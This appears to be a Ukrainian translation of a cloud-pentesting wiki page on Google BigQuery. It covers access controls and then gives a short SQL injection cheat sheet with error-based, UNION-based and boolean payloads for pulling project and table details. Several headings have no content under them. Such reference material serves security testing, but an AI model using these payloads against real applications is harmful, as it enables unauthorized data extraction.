GCP - Bigquery Enum
Основна інформація
Google Cloud BigQuery є повністю керованим, безсерверним корпоративним сховищем даних, що пропонує можливості для аналізу петабайтів даних, таким чином ефективно обробляючи великі набори даних. Як Платформа як послуга (PaaS), вона надає користувачам інфраструктуру та інструменти для полегшення управління даними без необхідності ручного контролю.
Вона підтримує запити з використанням ANSI SQL. Основними об'єктами є набори даних, що містять таблиці, які містять SQL дані.
Шифрування
За замовчуванням використовується шифрувальний ключ, керований Google, хоча можливо налаштувати шифрувальний ключ, керований клієнтом (CMEK). Можливо вказати шифрувальний ключ для кожного набору даних та для кожної таблиці всередині набору даних.
Термін дії
Можливо вказати термін дії в наборі даних, тому будь-яка нова таблиця, створена в цьому наборі даних, буде автоматично видалена через вказану кількість днів після створення.
Зовнішні джерела
Bigquery глибоко інтегрований з іншими сервісами Google. Можливо завантажувати дані з бакетів, pub/sub, google drive, баз даних RDS...
ACL набору даних
Коли створюється набір даних, до нього додаються ACL, щоб надати доступ до нього. За замовчуванням надаються права власника для користувача, який створив набір даних, а потім власнику групи projectOwners (власники проекту), письменнику групи projectWriters та читачу групи projectReaders:
Table Rows Control Access
Можливо контролювати рядки, до яких принципал зможе отримати доступ у таблиці за допомогою політик доступу до рядків. Вони визначаються всередині таблиці за допомогою DDL. Політика доступу визначає фільтр, і тільки відповідні рядки з цим фільтром будуть доступні вказаним принципалам.
Columns Access Control
Щоб обмежити доступ до даних на рівні стовпців:
Визначте таксономію та політичні теги. Створіть і керуйте таксономією та політичними тегами для ваших даних. https://console.cloud.google.com/bigquery/policy-tags
За бажанням: надайте роль читача з тонким контролем даних Data Catalog одному або кільком особам на одному або кількох політичних тегах, які ви створили.
Призначте політичні теги своїм стовпцям BigQuery. У BigQuery використовуйте анотації схеми, щоб призначити політичний тег кожному стовпцю, до якого ви хочете обмежити доступ.
Забезпечте контроль доступу на таксономії. Забезпечення контролю доступу призводить до застосування обмежень доступу, визначених для всіх політичних тегів у таксономії.
Керуйте доступом до політичних тегів. Використовуйте Управління ідентифікацією та доступом (IAM) політики, щоб обмежити доступ до кожного політичного тегу. Політика діє для кожного стовпця, що належить до політичного тегу.
Коли користувач намагається отримати доступ до даних стовпця під час запиту, BigQuery перевіряє політичний тег стовпця та його політику, щоб дізнатися, чи має користувач право на доступ до даних.
У підсумку, щоб обмежити доступ до деяких стовпців для деяких користувачів, ви можете додати тег до стовпця в схемі та обмежити доступ користувачів до тегу, забезпечуючи контроль доступу на таксономії тегу.
Щоб забезпечити контроль доступу на таксономії, потрібно активувати сервіс:
Можна побачити теги стовпців за допомогою:
Перерахування
BigQuery SQL Injection
Для отримання додаткової інформації ви можете перевірити блог: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Тут будуть надані лише деякі деталі.
Коментарі:
select 1#from here it is not working
select 1/*between those it is not working*/
Але лише початковий не спрацюєselect 1--from here it is not working
Отримати інформацію про середовище таку як:
Поточний користувач:
select session_user()
Ідентифікатор проекту:
select @@project_id
Об'єднати рядки:
Усі назви таблиць:
string_agg(table_name, ', ')
Отримати набори даних, таблиці та імена колонок:
Назва проекту та набору даних:
Назви стовпців та таблиць усіх таблиць набору даних:
Інші набори даних в тому ж проекті:
Типи SQL-ін'єкцій:
На основі помилок - приведення:
select CAST(@@project_id AS INT64)
На основі помилок - ділення на нуль:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
На основі об'єднання (вам потрібно використовувати ALL у bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
На основі булевих значень:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Потенційна на основі часу - Використання публічних наборів даних приклад:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Документація:
Скриптові оператори: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Підвищення привілеїв та постексплуатація
Постійність
Посилання
Last updated